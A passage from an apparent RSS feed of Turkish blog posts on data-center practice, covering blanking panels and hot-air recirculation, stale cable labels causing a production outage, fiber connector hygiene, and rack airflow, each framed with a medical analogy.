            <description><![CDATA[Kabinlerdeki boş alanlara takılmayan iki dolarlık plastik kapatma panellerinin (blanking panel) yarattığı sıcak hava geri emilimi (thermal bypass); iflas eden iklimlendirme ve katlanan elektrik faturası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kabin-ici-hava-kisa-devresi-blanking-panel-takmamanin-termal-faturasi/thumbnail" alt=""> Acil cerrahide ve savaş travmatolojisinde hekimlerin en hızlı müdahale etmesi gereken tablolardan biri "Açık Pnömotoraks", diğer adıyla "Emici Göğüs Yarası"dır (sucking chest wound).</p>
<p>Bir şarapnel veya bıçak darbesiyle göğüs kafesinde bir delik açıldığında; diyafram her aşağı indiğinde, hava soluk borusundan ciğerlere dolmak yerine göğüsteki o delikten göğüs boşluğuna hücum eder. Negatif basınç dengesi bozulur, akciğer kendi içine çöker (atelektazi) ve hasta gözlerinizin önünde boğulmaya başlar.</p>
<p>Bu ölümcül tablonun sahadaki ilk kurtarıcı müdahalesi ne kadar pahalıdır biliyor musunuz?<br>
Neredeyse sıfır lira!<br>
Elinize aldığınız steril bir plastik ambalaj parçasını o deliğin üzerine kapatır, üç tarafını flasterle bantlarsınız. O minik plastik parçası dışarıdan içeri hava sızmasını engellediği anda akciğer yeniden negatif basınca kavuşur, şişer ve hasta nefes almaya başlar. Trilyonluk ameliyathane cihazları değil; doğru yere yapıştırılan bir parça plastik hayat kurtarır.</p>
<p>Veri merkezlerinde, sunucu kabinlerinde ve iklimlendirme mühendisliğinde de tam olarak bu pnömotoraks deliği gibi işleyen, milyon dolarlık soğutma yatırımlarını buharlaştıran devasa bir cehalet vardır: <strong>Kabinlerdeki Boş U'lara Blanking Panel (Kapatma Paneli) Takmamak.</strong></p>
<hr>
<h3>Milyon Dolarlık Yatırım, İki Dolarlık Delik</h3>
<p>Bir veri merkezinin iklimlendirme altyapısını kurmak devasa bir bütçedir:</p>
<ul>
<li>Çatıda tonlarca ağırlıkta dev chiller üniteleri,</li>
<li>Beyaz odada değişken debili EC fanlara sahip In-Row veya CRAC (Computer Room Air Conditioner) üniteleri,</li>
<li>Soğuk koridor kapatma (Cold Aisle Containment) sistemleri, pleksiglas sürgülü kapılar,</li>
<li>Yükseltilmiş tabanın altında yönlendirici hava menfezleri.</li>
</ul>
<p>Mühendisler binayı termodinamik olarak "mükemmel" tasarladıklarını düşünürler. Klimalar tabandan 18°C ila 20°C arasında buz gibi taze hava üfler.</p>
<p>Sonra kabinlere sunucular monte edilmeye başlanır. 42U boyundaki standart bir kabinin içine 15 adet 1U sunucu yerleştirilir.<br>
Geriye ne kalır? <strong>Tam 27U'luk devasa bir boşluk!</strong></p>
<p>O boşluklar öylece açık bırakılır; metal montaj dikmeleri sırıtır, kabinin içi kabak gibi görünür. Satın almacıya "Kapatma paneli (blanking panel) alalım" dendiğinde genellikle şu cevap alınır:<br>
<em>"Yahu alt tarafı plastik bir kapak, tanesi 2 dolar, 100 tanesi 200 dolar eder. Ne gerek var boş tenekeye para vermeye? Hem hava girer işte, fena mı, sunucu daha iyi hava alır!"</em></p>
<p>İşte bu cümle, veri merkezinin termodinamik ölüm fermanıdır.</p>
<hr>
<h3>Termal Kısa Devre (Thermal Bypass) Nedir?</h3>
<p>Termodinamik ve akışkanlar mekaniği asla şaşmaz: Akışkanlar (ve hava) daima <strong>en az dirençli yolu</strong> tercih eder.</p>
<p>Bir sunucunun çalışma mantığı basittir:</p>
<ul>
<li>Ön ızgarasından soğuk havayı çeker.</li>
<li>Fanlar bu havayı daracık bakır soğutucu kanatçıklarının ve belleklerin arasından yüksek basınçla iter.</li>
<li>Isınan hava kasanın arkasından, sıcak koridora <strong>38°C ile 45°C arasında</strong> bir egzoz gazı gibi fırlar.</li>
</ul>
<p>Peki kabinde boş bir U deliği olduğunda ne olur?<br>
Sunucu fanları önden kuvvetli bir emiş yaptığı için, kabinin ön cephesinde hafif bir <strong>negatif hava basıncı</strong> oluşur. Kabinin arkasında ise fanların püskürttüğü sıcak hava yüzünden <strong>pozitif hava basıncı</strong> vardır.</p>
<p>Ve arkadaki o 45 derecelik cehennem sıcağı hava, odadaki klimalara doğru gitmek yerine; o boş U deliklerinden saniyeler içinde <strong>kabinin önüne doğru geri emilir!</strong></p>
<p>Buna literatürde <strong>"Air Recirculation" (Termal Kısa Devre / Geri Devridaim)</strong> denir.</p>
<p>Sunucu, klimaların üflediği 18 derecelik soğuk havayı değil; kendi arkasından çıkan ve boş delikten öne dönen 40 derecelik sıcak havayı emmeye başlar!</p>
<p>Sunucu adeta kendi egzoz borusunu burnuna dayamış bir araba motoru gibi kendi gazında boğulur.</p>
<hr>
<h3>Göstergelerin Çıldırması ve Yanlış Tedavi</h3>
<p>Birkaç hafta sonra sistem odasında garip şeyler yaşanmaya başlar:</p>
<ul>
<li>Sunucuların fanları son devire (20.000 RPM) çıkar. Kabin odasında kulakları sağır eden bir inilti başlar.</li>
<li>İşlemci sıcaklıkları 85°C - 90°C sınırına dayanır ve CPU'lar kendini korumak için performans kısar (Thermal Throttling).</li>
<li>Sanallaştırma kümesinde sebepsiz vCPU darboğazları ve gecikmeler başlar.</li>
</ul>
<p>Sistem yöneticisi odaya girer, kabinin önünde durur. Yüzüne çarpan hava sıcacıktır!<br>
Hemen klima kumandasına koşar:<br>
<em>"Klima yetmiyor! Sıcaklığı 18'den 14 dereceye indirin, yedek kompresörleri de devreye alın!"</em></p>
<p>İşte tam burada korkunç bir enerji israfı kısır döngüsü başlar:</p>
<ol>
<li>Klimalar daha fazla elektrik tüketir, devasa kompresörler aralıksız basar.</li>
<li>Şirketin elektrik faturası her ay yüz binlerce lira kabarır.</li>
<li>Klimaların evaporatör peteklerinde aşırı soğuktan dolayı donma ve karlanma (icing) başlar.</li>
<li>Ve bütün bu masrafa rağmen sunucular hala ısınmaya devam eder!</li>
</ol>
<p>Çünkü sorun ortamdaki soğuk havanın miktarında değil; o soğuk havanın sunucunun içine girmeden önce arkadan gelen sıcak havayla o deliklerde karışmasındadır!</p>
<hr>
<h3>İki Dolarlık Mucize: Blanking Panel Disiplini</h3>
<p>O açık deliklere tanesi 2 dolar olan basit bir plastik çıtçıtlı kapatma paneli (tool-less blanking panel) taktığınız o 10 saniyelik anda ne değişir?</p>
<ul>
<li>Sıcak havanın öne kaçış rotası fiziksel olarak bıçak gibi kesilir.</li>
<li>Sıcak hava çaresizce sıcak koridor tavanına yükselir ve klimanın emiş menfezine doğru çekilir.</li>
<li>Kabinin ön cephesindeki hava saflığını korur; sunucunun emdiği havanın sıcaklığı anında 38 dereceden 20 dereceye düşer!</li>
<li>Sunucu fanları 20.000 devirden 8.000 devire iner; odadaki gürültü kesilir, fanların çektiği elektrik azalır.</li>
<li>İşlemciler buz keser, throttling biter.</li>
<li>Ve en güzeli: Klima set değerini 14 dereceden güvenle <strong>24 dereceye</strong> çıkarabilirsiniz! (Her 1°C sıcaklık artışı, veri merkezi soğutma faturasında yaklaşık <strong>%4 ila %5 net enerji tasarrufu</strong> sağlar!)</li>
</ul>
<hr>
<h3>Küçük İhmaller, Büyük Faturalar</h3>
<p>İyi bir sistem mühendisi olmak sadece Kubernetes yaml'ı yazmak veya BGP konfigüre etmek değildir. Gerçek mühendislik; sistemin üzerinde yaşadığı fiziksel dünyanın kanunlarına saygı duymaktır.</p>
<p>Bir veri merkezine girdiğinizde o kabinlerde açık delikler görüyorsanız, orada profesyonel bir altyapı yönetimi yoktur; sadece şans eseri ayakta duran pahalı bir amatörlük vardır.</p>
<p>Göğsü delinen hastaya yapıştırılan bir parça flaster nasıl hayat kurtarıyorsa; kabindeki boş yuvalara takılan o iki dolarlık plastik panel de veri merkezinizi termal felaketten kurtarır.</p>
<p>Plastikten tasarruf etmeye kalkanlar, o tasarrufun yüz katını her ay elektrik faturasıyla ödemeye mahkûmdurlar.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Soğutma</category>
            <category>İklimlendirme</category>
            <category>Blanking Panel</category>
            <category>Termodinamik</category>
            <category>Altyapı</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kabin-ici-hava-kisa-devresi-blanking-panel-takmamanin-termal-faturasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Eski Etiketlerin Hayaleti": Temizlenmeyen Kablo İsimleri ve Yanlış Fiş Faciası]]></title>
            <link>http://localhost:3000/blog/post/eski-etiketlerin-hayaleti-temizlenmeyen-kablo-isimleri-ve-yanlis-fis-faciasi</link>
            <guid>eski-etiketlerin-hayaleti-temizlenmeyen-kablo-isimleri-ve-yanlis-fis-faciasi</guid>
            <pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllar önce sökülen sunuculardan geriye kalan güncellenmemiş kablo etiketlerinin (ghost tags) yarattığı yanılsama; cerrahideki hasta kimlik doğrulama disiplini ve canlı prodüksiyonun fişini çekme anı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/eski-etiketlerin-hayaleti-temizlenmeyen-kablo-isimleri-ve-yanlis-fis-faciasi/thumbnail" alt=""> Dünya Sağlık Örgütü'nün (WHO) cerrahi ameliyathaneler için getirdiği en katı ve tavizsiz kural "Güvenli Cerrahi Kontrol Listesi" (Surgical Safety Checklist), sahada bilinen adıyla <strong>"Time-Out"</strong> protokolüdür.</p>
<p>Hasta narkoz alıp ameliyat masasına yatırıldığında, cerrah eline neşteri almadan önce tüm ekip bir anlığına tamamen durur. Başhemşire yüksek sesle okur:<br>
<em>"Hastanın adı: Mehmet Demir. Doğrulandı mı? Evet.</em><br>
<em>Operasyon: Sağ diz ön çapraz bağ rekonstrüksiyonu. Taraf doğru mu? Evet.</em><br>
<em>Sol bacak değil, sağ bacak işaretlendi mi? Evet."</em></p>
<p>Tıp tarihinde bu protokol uygulanmadığı için sedyedeki eski hasta dosyasındaki veya kol bandındaki karışıklık yüzünden sağlam bacağı kesilen, sağlam böbreği alınan, yanlış hastaya beyin cerrahisi uygulanan onlarca dehşet verici vaka vardır.</p>
<p>Tıbbın kanla yazdığı bu kural çok basittir: <strong>Bir kimlik kartı veya etiket güncel değilse, o etiket bir rehber değil; doğrudan bir cinayet aletidir.</strong></p>
<p>Sistem mühendisliği, ağ operasyonları ve veri merkezleri dünyasında da tam olarak bu yanlış taraf cerrahisini andıran, kurumsal hafızasızlığın ve tembelliğin doğurduğu en trajikomik felaketlerden biri yaşanır: <strong>Eski Etiketlerin Hayaletine Güvenip Canlı Sistemin Fişini Çekmek.</strong></p>
<hr>
<h3>"Test Makinesini Sökün Gitsin"</h3>
<p>Pazartesi sabahı haftalık planlama toplantısı yapılır. Şirketin kıdemli mimarı, yeni işe başlamış hevesli junior sistem yöneticisine görev verir:<br>
<em>"Ahmet, Kabin 14'te en altta eski bir test makinemiz vardı: <code>SRV-TEST-UBUNTU-01</code>. Projesi geçen ay bitti, o makineyi emekliye ayırıyoruz (decommission). Git kabine, arkasındaki güç ve ağ kablolarını sök, sunucuyu depoya kaldır."</em></p>
<p>Ahmet görev bilinciyle eline tornavidasını alır, veri merkezine iner. Kabin 14'ün arka kapağını açar.</p>
<p>Kabin arkası her zamanki gibi yüzlerce iç içe geçmiş siyah güç kablosu, mavi Cat6 kablolar ve sarı fiberlerin oluşturduğu tropikal bir sarmaşık ormanıdır. Ahmet en alt U'lara doğru eğilir.</p>
<p>Kabloların üzerinde yıllar önce beyaz etiket makinesiyle (Brother veya Dymo) basılmış sararmış plastik bayrak etiketler (cable tags) sallanmaktadır. Ahmet fenerini tutar ve aradığı etiketi sevinçle bulur:<br>
<code>SRV-TEST-UBUNTU-01 - ETH0</code><br>
Hemen yanındaki güç kablosuna bakar:<br>
<code>SRV-TEST-UBUNTU-01 - PSU1</code></p>
<p>Ahmet elini uzatır. Önce ağ kablosunun mandalına basıp çeker: "Tık!"<br>
Ardından C13 güç kablosunu kavrar ve asılır: "ÇOT!"</p>
<p>Ve tam o saniyede...<br>
On kat yukarıdaki ofiste genel müdürün odası dahil tüm katlarda telefonlar aynı anda çılgınca çalmaya başlar.</p>
<hr>
<h3>Hayalet Etiketin Anatomisi</h3>
<p>Şirketin tüm ERP veritabanı çökmüştür. E-ticaret ödeme ağ geçitleri kesilmiştir. Müşteri temsilcileri ekranda "Database Connection Timed Out" hatasıyla donup kalmıştır.</p>
<p>Kriz masası toplanır, izleme ekranlarına bakılır:<br>
<code>CRITICAL: PROD-DB-CLUSTER-NODE-01 IS DEAD.</code></p>
<p>Ahmet titreyerek kabin arkasında beklemektedir: <em>"Ama ben sadece test sunucusunun kablosunu çektim! Üzerinde açıkça <code>SRV-TEST-UBUNTU-01</code> yazıyordu!"</em></p>
<p>Olayın kök neden analizi (Post-Mortem) yapıldığında ortaya çıkan tablo bir kurumsal ihmal şaheseridir:</p>
<ol>
<li><strong>İki Yıl Önceki Değişim:</strong> Evet, o kablolar gerçekten de 2024 yılında test sunucusuna takılmıştır ve o gün etiketlenmiştir.</li>
<li><strong>Gece Yarısı Yapılan Acil Müdahale:</strong> 2025 yılının bir Cumartesi gecesi, şirketin ana prodüksiyon veritabanı sunucusunun güç kaynağı yanmıştır. Nöbetçi kıdemli sistemci, canlı sistemi ayağa kaldırmak için aceleyle o test sunucusunun fişini çekmiş ve kabloyu hemen iki U yukarıdaki <code>PROD-DB-CLUSTER-NODE-01</code> sunucusunun arkasına takmıştır!</li>
<li><strong>"Sonra Değiştiririm" Yalanı:</strong> Gece saat 04:00'te sistemci kendine fısıldamıştır: <em>"Neyse sabah etiket makinesini alır, etiketi söker yenisini basarım."</em></li>
<li><strong>Unutulan Etiket:</strong> Sabah olduğunda o etiket unutulmuştur. O kablo, üzerinde "TEST SUNUCUSU" yazan bir etiketle tam bir buçuk yıl boyunca şirketin kalbi olan ana veritabanını beslemeye devam etmiştir!</li>
</ol>
<p>Ve bir buçuk yıl sonra Ahmet gelmiş, gözüyle okuduğu etikete güvenerek şirketin şah damarını kesmiştir.</p>
<hr>
<h3>"Hiç Etiket Olmaması, Yanlış Etiketten Daha İyidir"</h3>
<p>Altyapı mühendisliğinin en acımasız kurallarından biri şudur:<br>
<strong>Üzerinde hiçbir etiket olmayan bir kablo sizi şüpheye sevk eder, temkinli olmaya zorlar. Ama üzerinde yanlış isim yazan bir etiket size sahte bir özgüven aşılar ve cinayet işletir.</strong></p>
<p>Eğer Ahmet o kablonun üzerinde hiçbir etiket görmeseydi ne yapacaktı?<br>
Kabloyu körlemesine çekmeyecekti! Kablonun ucunu parmağıyla takip edecekti, kasanın önüne geçip sunucunun üzerindeki servis etiketine (Service Tag / Asset Tag) bakacaktı, switch portuna girip <code>show mac address-table</code> komutuyla o portta hangi MAC adresinin konuştuğunu kontrol edecekti.</p>
<p>Fakat etiketin üzerindeki o yanıltıcı metin, Ahmet'in tüm profesyonel şüpheciliğini ve doğrulama reflekslerini felç etmiştir.</p>
<hr>
<h3>Sistem Odasında "Time-Out" Kültürü</h3>
<p>Bir veri merkezinde canlı çalışan bir altyapıdan tek bir kablo bile sökecekseniz, cerrahlardan farksız bir disipline sahip olmak zorundasınız:</p>
<ol>
<li><strong>Asla Tek Kaynaktan Doğrulama Yapmayın:</strong> Kablonun üzerindeki etiket sadece bir "ipucudur", kesin kanıt değildir. Kabloyu çekmeden önce:
<ul>
<li>Sunucunun ön panelindeki ID (Identify) ışığını iDRAC üzerinden mavi renkte yakıp söndürün (Blink LED).</li>
<li>Çekilecek kablonun ucunu fiziksel olarak elinizle şasiden switch'e kadar takip edin.</li>
<li>Switch konsolunda ilgili porta girip arayüzü önce mantıksal olarak kapatın (<code>shutdown</code> veya <code>disable</code>). Bekleyin! Eğer yanlış portu kapattıysanız sadece kabloyu geri takmakla uğraşmaz, arayüzü tek bir <code>no shutdown</code> komutuyla saniyesinde geri açabilirsiniz!</li>
</ul>
</li>
<li><strong>Kablo Söküldüğü An Etiketi İmha Edin:</strong> Bir cihaz kabinden söküldüğünde, arkasındaki kablolar da sökülmelidir. Eğer kablo orada bırakılacaksa, üzerindeki eski etiket derhal maket bıçağıyla kesilip atılmalıdır. Kabin arkasında sahipsiz, eski isimli kablo bırakmak suç sayılmalıdır.</li>
<li><strong>CMDB ve Port Haritası Eşleşmesi:</strong> Kablo etiketlerinin doğruluğu belirli periyotlarla DCIM (Data Center Infrastructure Management) veya NetBox gibi modern varlık yönetim sistemleriyle denetlenmelidir.</li>
</ol>
<p>Tıpta yanlış kol bandı hastanın sağlam organına mal olur.</p>
<p>Veri merkezinde de eski bir kablo etiketi, şirketinizin en hayati sistemini karanlığa gömebilir.</p>
<p>Bir kabloyu çekmeden önce etikete değil; fiziksel doğrulamanın, log kayıtlarının ve mimari disiplinin sesine kulak verin. Çünkü kabin arkasındaki hayaletler, affetmeyi bilmez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Kablolama</category>
            <category>Etiketleme</category>
            <category>Veri Merkezi</category>
            <category>SysAdmin</category>
            <category>İş Sürekliliği</category>
            <category>Disaster Recovery</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/eski-etiketlerin-hayaleti-temizlenmeyen-kablo-isimleri-ve-yanlis-fis-faciasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Fiber Optik Masalı": Kirli Konnektör Yüzünden Düşen Sinyal Gücü ve Hayalet Paket Kayıpları]]></title>
            <link>http://localhost:3000/blog/post/fiber-optik-masali-kirli-konnektor-yuzunden-dusen-sinyal-gucu-ve-hayalet-paket-kayiplari</link>
            <guid>fiber-optik-masali-kirli-konnektor-yuzunden-dusen-sinyal-gucu-ve-hayalet-paket-kayiplari</guid>
            <pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyon dolarlık 100G omurga anahtarlarını dize getiren 2 mikronluk toz zerresi; seramik ferrule üzerindeki parmak izi yağının yarattığı optik zayıflama (dBm) ve mikroskobik kirliliğin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/fiber-optik-masali-kirli-konnektor-yuzunden-dusen-sinyal-gucu-ve-hayalet-paket-kayiplari/thumbnail" alt=""> Göz cerrahisinde —özellikle katarakt veya kornea nakli ameliyatlarında— cerrahın en büyük düşmanı ameliyathanenin havasında uçuşan mikroskobik toz taneleri ve göz yüzeyine bulaşabilecek mikron ölçeğindeki yağ partikülleridir. Hasta dışarıdan bakıldığında pırıl pırıl, saydam bir göze sahip görünür; kornea yerindedir, gözbebeği ışığa yanıt verir. Fakat lensin üzerine yapışan tek bir mikronluk lipid lekesi, retinaya düşen ışığı öyle bir saçar ve kırar ki, hasta dünyayı kalın bir sis perdesinin arkasından görür. Göz oradadır, ama ışık hedefine ulaşamaz.</p>
<p>Ağ mühendisliğinin ve yüksek hızlı veri merkezlerinin dünyasında da tam olarak bu oftalmolojik kırılmayı andıran, devasa bütçeli 100 Gbps / 400 Gbps omurga altyapılarını dize getiren mikroskobik bir felaket vardır: <strong>Fiber Konnektörünün Ucundaki Görünmez Kirlilik.</strong></p>
<p>Bir sistem yöneticisinin veya ağ mühendisinin en çaresiz kaldığı an; piyasa değeri yüz binlerce dolar olan iki omurga switch arasına sıfır kilometre sarı fiber kabloyu takıp, switch arayüzünde çılgınca artan CRC paket hatalarını ve çöken BGP oturumlarını izlediği andır.</p>
<hr>
<h3>Dokuz Mikronluk Dünyada Parmak İzi Cinayeti</h3>
<p>Genel kanı, fiber optik kabloların elektrik kabloları gibi "tak-çalıştır" olduğu yönündedir. Plastik koruma kapağını (dust cap) çıkarırsınız, switch'teki SFP+ veya QSFP modülünün yuvasına "tık" diye sokarsınız ve biter.</p>
<p>Fakat o LC konnektörün ucundaki beyaz seramik yüksüğün (zirconia ferrule) merkezine bir elektron mikroskobuyla baktığınızda dehşet verici bir ölçek farkıyla karşılaşırsınız:</p>
<ul>
<li>Single-Mode (OS2) bir fiberin ışık taşıyan cam çekirdeği (core) sadece <strong>9 mikrondur.</strong></li>
<li>İnsan saç telinin kalınlığı yaklaşık <strong>70 mikrondur.</strong></li>
<li>Havadaki sıradan bir polen veya toz zerresi <strong>10 ila 30 mikron</strong> arasındadır.</li>
<li>Ve insan parmağının ucundaki doğal deri yağı katmanının mikroskobik kalınlığı bir mikronun altındadır.</li>
</ul>
<p>Şimdi sahadaki teknisyenin hareketine bakın:<br>
Kabloyu poşetinden çıkarır. Koruyucu beyaz kapağı çeker. Ve gayriihtiyari, refleks olarak parmağının ucuyla o beyaz seramik uca hafifçe dokunur: <em>"Bakalım ucu temiz mi, toz var mı?"</em></p>
<p>Tebrikler; az önce o 9 mikronluk pürüzsüz cam çekirdeğin tam üzerine insan derisinden gelen mikroskobik bir yağ, tuz ve ölü deri hücreleri tabakası sıvadınız!</p>
<p>Dışarıdan baktığınızda uç tertemiz görünür. Çünkü insan gözü 40 mikronun altındaki hiçbir partikülü göremez. Fakat 9 mikronluk ışık demeti için o parmak izi, otoyolun ortasına devrilmiş devasa bir petrol tankeri gibidir!</p>
<hr>
<h3>Desibel Kaybı: Işığın Saçılması ve Soğurulması</h3>
<p>Lazer ışığı (genellikle 1310 nm veya 1550 nm dalga boyunda), SFP modülünün içindeki lazer diyottan çıkar ve o kirli ferrule yüzeyine çarpar.</p>
<p>Fiziksel optik kanunları anında devreye girer:</p>
<ol>
<li><strong>Fresnel Yansıması ve Geri Dönüş (Back Reflection / ORL):</strong> Yağ lekesi ve toz partikülleri, cam ile hava arasındaki kırılma indisini bozar. Lazer ışığının önemli bir kısmı karşıya geçmek yerine geri yansır ve doğrudan SFP modülünün hassas lazer vericisine çarparak modülü aşırı ısıtır ve zamanla bozar.</li>
<li><strong>Optik Soğurma ve Saçılma (Absorption &#x26; Scattering):</strong> Işık fotonları toz tanelerine çarparak her yöne dağılır. Karşı taraftaki alıcıya ulaşması gereken ışık demeti zayıflar.</li>
</ol>
<p>Switch'in konsoluna girip DOM (Digital Optical Monitoring) değerlerine baktığınızda felaketi görürsünüz:</p>
<ul>
<li>Gönderici Gücü (Tx): <code>+1.0 dBm</code> (Gayet güçlü)</li>
<li>Alıcı Gücü (Rx): <code>-24.5 dBm</code> (Kritik sınırın altında!)</li>
</ul>
<p>Desibel logaritmik bir ölçektir. <strong>Her 3 dB'lik kayıp, ışık gücünün tam yarı yarıya azalması demektir!</strong><br>
Sinyaliniz 6 dB düştüyse ışığın yüzde 75'ini, 10 dB düştüyse ışığın <strong>yüzde 90'ını</strong> sadece o görünmez parmak izi yüzünden kaybetmişsinizdir!</p>
<hr>
<h3>Hayalet Hatalar: Link Var, Trafik Yok</h3>
<p>Bu durumun prodüksiyondaki yansıması tam bir mühendislik delirmesidir.</p>
<p>Kablo kopuk değildir; bu yüzden switch'in port LED'i pırıl pırıl yeşil yanar (<code>Link Up</code>). Arayüze baktığınızda hız <code>100G Full Duplex</code> görünür. Mühendis sevinir: "Tamamdır, hat oturdu."</p>
<p>Fakat hatta gerçek bir yük bindiğinde —örneğin Kubernetes düğümleri birbirine container imajı aktarırken veya iki veri merkezi arasındaki Ceph depolama blokları eşitlenirken— kabus başlar:</p>
<ul>
<li><code>show interface ethernet 1/1</code> çıktısında <code>FCS Errors</code> ve <code>CRC Alignment Errors</code> sayacı saniyede yüzlerce artar.</li>
<li>TCP pencereleri büzüşür, paketler sürekli düşer (packet drop).</li>
<li>Gecikme (latency) 0.5 milisaniyeden aniden 80 milisaniyeye fırlar.</li>
</ul>
<p>Mühendisler günlerce toplanır:</p>
<ul>
<li>"Acaba switch'in firmware'inde bir bug mı var?"</li>
<li>"Acaba firewall MTU boyutunu yanlış mı parçalıyor?"</li>
<li>"Acaba SFP modülleri uyumsuz mu?"</li>
</ul>
<p>Günlerce loglar incelenir, yazılımlar güncellenir, vendor'a acil servis kayıtları açılır.</p>
<p>Oysa bütün o trilyonluk sistemleri felç eden tek şey; bir teknisyenin parmağının ucundaki mikronluk yağ tabakasıdır!</p>
<hr>
<h3>"Toz Kapağı" Yalanı ve Çapraz Bulaşma</h3>
<p>Fiber dünyasındaki en büyük yanılgılardan biri de şudur: <em>"Kablo fabrikadan yeni çıktı, üzerinde şeffaf koruyucu kapağı (dust cap) takılıydı, demek ki tertemizdir."</em></p>
<p>Büyük bir yalandır!<br>
Üreticilerin taktığı o plastik toz kapakları steril değildir! Fabrikadaki plastik kalıplardan çıkarken üzerlerinde mikroskobik plastik çapakları ve kalıp ayırıcı yağ artıkları kalır. O kapağı taktığınız an, o çapaklar ferrule ucuna yapışabilir.</p>
<p>Daha da kötüsü: <strong>Çapraz Bulaşma (Cross-Contamination).</strong><br>
Kirli bir fiber kabloyu alıp pahalı bir 100G QSFP28 modülünün içine taktığınızda; o seramik uçtaki yağ ve toz, modülün içindeki optik lensin üzerine sıvanır.<br>
Sonra o kabloyu çıkarıp sıfır taze bir kablo taksanız bile, modülün içindeki lens artık kirlenmiştir! Yeni taktığınız kabloyu da anında kirletir. Bir mikroorganizma gibi kirlilik sistem içinde yayılır.</p>
<hr>
<h3>Fiber Hijyeninin Üç Altın Kuralı</h3>
<p>Telekomünikasyon ve veri merkezi standartları (IEC 61300-3-35) fiber hijyeni konusunda tavizsizdir:</p>
<ol>
<li><strong>İncelemeden Asla Takma (Inspect Before You Connect):</strong> Profesyonel bir sahada fiber ucu çıplak gözle değil; el tipi 400x büyütmeli dijital fiber mikroskopları (Fiber Inspection Probe) ile ekranda incelenmelidir. Cam çekirdeğin üzerinde tek bir toz zerresi dahi görülmemelidir.</li>
<li><strong>Kuru ve Islak Temizleme Disiplini:</strong> Fiber ucu tişörte, peçeteye veya sıradan kolonyalı mendile asla silinmez! Özel tüy bırakmayan optik temizleme mendilleri ve saf optik solventlerle (veya One-Click Cleaner kalemlerle) temizlenmelidir.</li>
<li><strong>Her Sökülen Kablo Yeniden Temizlenir:</strong> Bir fiber kabloyu yuvadan çıkardığınız an, havayla temas ettiği için artık "kirli" kabul edilir. Beş saniye sonra geri takacak olsanız bile tekrar temizleme kaleminden geçirilmeden yuvaya sokulamaz.</li>
</ol>
<p>Tıpta göz cerrahı ameliyata girmeden önce mikroskobun lensini özel optik kağıtlarla temizler; çünkü mikronluk bir leke hastanın görüşünü çalar.</p>
<p>Veri merkezinde de ışık hızında çalışan sistemler kurmak istiyorsanız, mikroskobik dünyayı hafife alamazsınız. İki mikronluk bir toz zerresi, en pahalı omurga anahtarlarınızı birer hurda yığınına çevirecek kadar güçlüdür. Fotonların yolunu temiz tutun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fiber Optik</category>
            <category>Ağ Yönetimi</category>
            <category>SFP</category>
            <category>Attenuation</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/fiber-optik-masali-kirli-konnektor-yuzunden-dusen-sinyal-gucu-ve-hayalet-paket-kayiplari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kabin İçi Hava Akışı": Yanlış Takılan Kızaklar ve Boğulan Sunucular]]></title>
            <link>http://localhost:3000/blog/post/kabin-ici-hava-akisi-yanlis-takilan-kizaklar-ve-bogulan-sunucular</link>
            <guid>kabin-ici-hava-akisi-yanlis-takilan-kizaklar-ve-bogulan-sunucular</guid>
            <pubDate>Sun, 17 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Veri merkezinin buz gibi soğuk havasına rağmen kabin içinde kavrulan sunucular; yetersiz kapak delik oranı (perforation %), yanlış ray montajı ve arkada hava barikatı kuran kablo kolları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kabin-ici-hava-akisi-yanlis-takilan-kizaklar-ve-bogulan-sunucular/thumbnail" alt=""> Acil tıpta ve anesteziyolojide hekimlerin en çok korktuğu mekanik tıkanıklıklardan biri "Laringospazm" ve üst solunum yolu obstrüksiyonudur.</p>
<p>Hastanın bulunduğu oda saf oksijenle dolu olabilir, hatta hastanın burnunun ucuna dakikada 15 litre saf oksijen basan bir maske dayamış olabilirsiniz. Dışarısı tam anlamıyla bir oksijen cennetidir. Fakat eğer hastanın ses telleri (glottis) spazma girip kapanmışsa veya dili geriye kayıp gırtlağı tıkamışsa; o zengin havanın ciğerlere ulaşması fiziksel olarak imkansızdır. Hasta, etrafı oksijenle çevriliyken mekanik bir bariyer yüzünden gözlerinizin önünde morararak can verir.</p>
<p>Veri merkezi iklimlendirmesinde ve sunucu montajlarında da tam olarak bu trajik laringospazm vakasını yaşatan devasa bir mühendislik körlüğü vardır: <strong>Oda Seviyesinde Mükemmel, Cihaz Seviyesinde Felç Olan Hava Akışı.</strong></p>
<p>Kabin odasına girersiniz, üzerinizde kışlık montunuz vardır, klimalar 18°C buz gibi taze hava üflemektedir. Fakat kabinin içindeki 2U veritabanı sunucusunun iDRAC arayüzünü açtığınızda ekranda kırmızı bir alev ikazı yanar:<br>
<code>CRITICAL: CPU 1 Temperature Exceeded Threshold: 94°C. Thermal Throttling Engaged.</code></p>
<p>Oda kutup soğuğu gibiyken, o sunucu o kabinin içinde nasıl fırına dönmüştür?</p>
<hr>
<h3>Cam Kapak Sevdası ve Yetersiz Perforasyon Tuzağı</h3>
<p>Felaketin birinci perdesi, genellikle şirketin satın alma veya idari işler departmanının estetik kaygılarıyla başlar.</p>
<p>Kabin seçimi yapılırken sunucuların ihtiyacı olan termodinamik değil; ofis mobilyasına uyumu düşünülür:<br>
<em>"Cam kapaklı kabin alalım, içerideki ışıklar parlasın, gelen müşteriye modern ve şık görünsün!"</em></p>
<p>Bu karar, modern kurumsal sunucuların doğrudan nefesini kesmektir.<br>
